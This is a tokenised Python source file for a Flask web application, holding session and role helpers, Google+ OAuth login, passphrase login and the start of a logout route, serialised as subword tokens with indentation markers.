"expanduser_", "(_", "\"~\"_", ")_", ",_", "'.", "cst", "ar", "\\u", "perf", "'_", ",_", "'", "client", "\\u", "secret", "s", ".", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "google", "\\u", "client", "\\u", "secrets_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "google", "\\u", "client", "\\u", "id_", "=_", "json_", "._", "load_", "(_", "f_", ")_", "[_", "'", "web", "'_", "]_", "[_", "'", "client", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Assert", "ion", "Error_", "(_", "'", "Inva", "lid", " ", "authenticat", "ion", " ", "type", " ", "configur", "ed", " ", "in", " ", "server", ".", "conf", ":", " ", "{}'_", "._", "format_", "(_", "authenticat", "ion", "\\u", "type_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server", "\\u", "key_", "=_", "API", "Key_", "._", "load_", "(_", "SERVER", "\\u", "KEY", "\\u", "PATH_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Templa", "te", " ", "function", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "app_", "._", "jin", "ja", "\\u", "env_", "._", "globals_", "[_", "'", "get", "\\u", "user", "\\u", "id", "'_", "]_", "=_", "get", "\\u", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "app_", "._", "jin", "ja", "\\u", "env_", "._", "globals_", "[_", "'", "user", "\\u", "is", "\\u", "authenticat", "ed", "'_", "]_", "=_", "user", "\\u", "is", "\\u", "authenticated_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Helpers_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Page", " ", "Controlle", "rs_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "JSO", "N", " ", "API_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Webs", "ocket", "s_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "session_", "._", "get_", "(_", "'", "user", "\\u", "id", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "user", "\\u", "is", "\\u", "authenticated_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "session_", "._", "get_", "(_", "'", "logged", "\\u", "in", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "user", "\\u", "in", "\\u", "role_", "(_", "role_", ",_", "user_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Fin", "d", " ", "if", " ", "a", " ", "user", " ", "is", " ", "in", " ", "the", " ", "give", "n", " ", "role", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "roles_", "=_", "db_", "._", "get", "\\u", "user", "\\u", "roles_", "(_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "role_", "in_", "user", "\\u", "roles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Un", "know", "n", "User", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "require", "s", "\\u", "auth_", "(_", "role_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Ensur", "es", " ", "the", " ", "current", " ", "user", " ", "has", " ", "the", " ", "appropr", "iate", " ", "authoriz", "ation", " ", "bef", "ore", "\\", "10", ";", " ", " ", " ", " ", "runn", "ing", " ", "the", " ", "wrapp", "ed", " ", "function", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decorator_", "(_", "function_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "functools_", "._", "wraps_", "(_", "function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "wrapper_", "(_", "*_", "args_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Do", " ", "the", " ", "check", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "user", "\\u", "is", "\\u", "authenticated_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "user", "\\u", "in", "\\u", "role_", "(_", "role_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "function_", "(_", "*_", "args_", ",_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "make", "\\u", "response_", "(_", "render", "\\u", "template_", "(_", "'", "access", "\\u", "deni", "ed", ".", "jin", "ja", "2", ".", "html", "'_", ")_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "context", "\\u", "processor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "inject", "\\u", "template", "\\u", "variables_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Common", " ", "variab", "les", " ", "avail", "able", " ", "to", " ", "all", " ", "template", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "{_", "'", "cluster", "s", "'_", ":_", "db_", "._", "get", "\\u", "cluster", "\\u", "names_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "authenticat", "ion", "\\u", "type", "'_", ":_", "authenticat", "ion", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "google", "\\u", "client", "\\u", "id", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "authenticat", "ion", "\\u", "type_", "==_", "'", "google", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "[_", "'", "google", "\\u", "client", "\\u", "id", "'_", "]_", "=_", "google", "\\u", "client", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "index_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "render", "\\u", "template_", "(_", "'", "index", ".", "jin", "ja", "2", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "login", "\\u", "with", "\\u", "google_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Logi", "n", " ", "via", " ", "Goo", "gle", "+\"", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "Initiat", "ing", " ", "login", " ", "with", " ", "Goo", "gle", "+\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", "=_", "request_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Upgrade", " ", "the", " ", "authoriz", "ation", " ", "code", " ", "int", "o", " ", "a", " ", "cred", "ential", "s", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "oauth", "\\u", "flow_", "=_", "flow", "\\u", "from", "\\u", "clients", "ecr", "ets_", "(_", "google", "\\u", "client", "\\u", "secrets_", ",_", "scope_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "oauth", "\\u", "flow_", "._", "redirec", "t", "\\u", "uri_", "=_", "'", "post", "message", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "credentials_", "=_", "oauth", "\\u", "flow_", "._", "step", "2", "\\u", "exchange_", "(_", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Flow", "Exc", "hange", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "Fail", "ed", " ", "to", " ", "upgrade", " ", "the", " ", "authoriz", "ation", " ", "code", ".'_", "}_", ")_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "An", " ", "ID", " ", "Token", " ", "is", " ", "a", " ", "crypto", "graphical", "ly", "-", "sign", "ed", " ", "JSO", "N", " ", "object", " ", "encode", "d", " ", "in", " ", "base", " ", "64.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Normal", "ly", ",", " ", "it", " ", "is", " ", "critic", "al", " ", "tha", "t", " ", "you", " ", "validat", "e", " ", "an", " ", "ID", " ", "Token", " ", "bef", "ore", " ", "you", " ", "use", " ", "it", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "but", " ", "sinc", "e", " ", "you", " ", "are", " ", "communicati", "ng", " ", "direct", "ly", " ", "with", " ", "Goo", "gle", " ", "over", " ", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "interm", "edia", "ry", "-", "free", " ", "HTTP", "S", " ", "channel", " ", "and", " ", "usi", "ng", " ", "your", " ", "Client", " ", "Sec", "ret", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "authenticat", "e", " ", "your", "self", " ", "to", " ", "Goo", "gle", ",", " ", "you", " ", "can", " ", "be", " ", "confi", "dent", " ", "tha", "t", " ", "the", " ", "token", " ", "you", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "receive", " ", "reall", "y", " ", "come", "s", " ", "from", " ", "Goo", "gle", " ", "and", " ", "is", " ", "valid", ".", " ", "If", " ", "your", " ", "server", " ", "pass", "es", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ID", " ", "Token", " ", "to", " ", "other", " ", "component", "s", " ", "of", " ", "your", " ", "app", ",", " ", "it", " ", "is", " ", "extreme", "ly", " ", "importa", "nt", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "other", " ", "component", "s", " ", "validat", "e", " ", "the", " ", "token", " ", "bef", "ore", " ", "usi", "ng", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gpl", "us", "\\u", "id_", "=_", "credentials_", "._", "id", "\\u", "token_", "[_", "'", "sub", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "store", "d\\u", "credentials_", "=_", "Access", "Token", "Credentials_", "(_", "session_", "._", "get_", "(_", "'", "cred", "ential", "s", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "._", "user", "\\u", "agent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "store", "d\\u", "gpl", "us", "\\u", "id_", "=_", "session_", "._", "get_", "(_", "'", "gpl", "us", "\\u", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "store", "d\\u", "credentials_", "is_", "not_", "None_", "and_", "gpl", "us", "\\u", "id_", "==_", "store", "d\\u", "gpl", "us", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "success", "'_", ":_", "'", "Curr", "ent", " ", "user", " ", "is", " ", "alr", "ead", "y", " ", "connect", "ed", ".'_", "}_", ")_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "user", "'", "s", " ", "email", " ", "address", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "http_", "=_", "httplib2_", "._", "Http_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "http_", "=_", "credentials_", "._", "authorize_", "(_", "http_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "a", " ", "list", " ", "of", " ", "people", " ", "tha", "t", " ", "this", " ", "user", " ", "has", " ", "shared", " ", "with", " ", "this", " ", "app", "._", "\\u\\u\\uNL\\u\\u\\u_", "google", "\\u", "request_", "=_", "gpl", "us_", "._", "people_", "(_", ")_", "._", "get_", "(_", "user", "Id_", "=_", "'", "me", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "obj_", "=_", "google", "\\u", "request_", "._", "execute_", "(_", "http_", "=_", "http_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Fin", "d", " ", "the", " ", "google", " ", "account", " ", "email", ":_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "e_", "in_", "user", "\\u", "obj_", "[_", "'", "email", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "e_", "[_", "'", "type", "'_", "]_", "==_", "'", "account", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "email_", "=_", "e_", "[_", "'", "value", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "Authoriz", "ation", " ", "from", " ", "Goo", "gle", " ", "fail", "ed", ".'_", "}_", ")_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Stor", "e", " ", "the", " ", "access", " ", "token", " ", "in", " ", "the", " ", "session", " ", "for", " ", "late", "r", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "session_", "[_", "'", "cred", "ential", "s", "'_", "]_", "=_", "credentials_", "._", "access", "\\u", "token_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "[_", "'", "gpl", "us", "\\u", "id", "'_", "]_", "=_", "gpl", "us", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "[_", "'", "logged", "\\u", "in", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "email_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "success", "'_", ":_", "'", "Success", "full", "y", " ", "connect", "ed", " ", "user", ".'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "login", "\\u", "with", "\\u", "passphrase_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "request_", "._", "get", "\\u", "json_", "(_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "Initiat", "ing", " ", "login", " ", "with", " ", "passp", "hra", "se", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "db_", "._", "validat", "e\\u", "user", "\\u", "passphrase_", "(_", "data_", "[_", "'", "email", "'_", "]_", ",_", "data_", "[_", "'", "passp", "hra", "se", "'_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", "[_", "'", "logged", "\\u", "in", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "data_", "[_", "'", "email", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "success", "'_", ":_", "'", "Success", "full", "y", " ", "connect", "ed", " ", "user", ".'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Un", "know", "n", "User", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "Una", "uthor", "ize", "d", " ", "-", " ", "did", " ", "you", " ", "enter", " ", "the", " ", "user", " ", "right", " ", "user", " ", "/", " ", "passp", "hra", "se", "?'_", "}_", ")_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "login", "'_", ",_", "methods_", "=_", "[_", "'", "POST", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "login_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Logi", "n", " ", "via", " ", "digest", " ", "authenticat", "ion", ",", " ", "or", " ", "Goo", "gle", "+\"", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "authenticat", "ion", "\\u", "type_", "==_", "'", "local", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "login", "\\u", "with", "\\u", "passphrase_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "authenticat", "ion", "\\u", "type_", "==_", "'", "google", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "login", "\\u", "with", "\\u", "google_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Assert", "ion", "Error_", "(_", "'", "Inva", "lid", " ", "authenticat", "ion", " ", "type", " ", "configur", "ed", " ", "in", " ", "server", ".", "conf", ":", " ", "{}'_", "._", "format_", "(_", "authenticat", "ion", "\\u", "type_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "logo", "ut", "'_", ",_", "methods_", "=_", "[_", "'", "GET", "'_", ",_", "'", "POST", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "logout_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "[_", "'", "cred", "ential", "s", "'_", ",_", "'", "gpl", "us", "\\u", "id", "'_", ",_", "'", "logged", "\\u", "in", "'_", ",_", "'", "bypass", "\\u", "csr", "f", "'_", 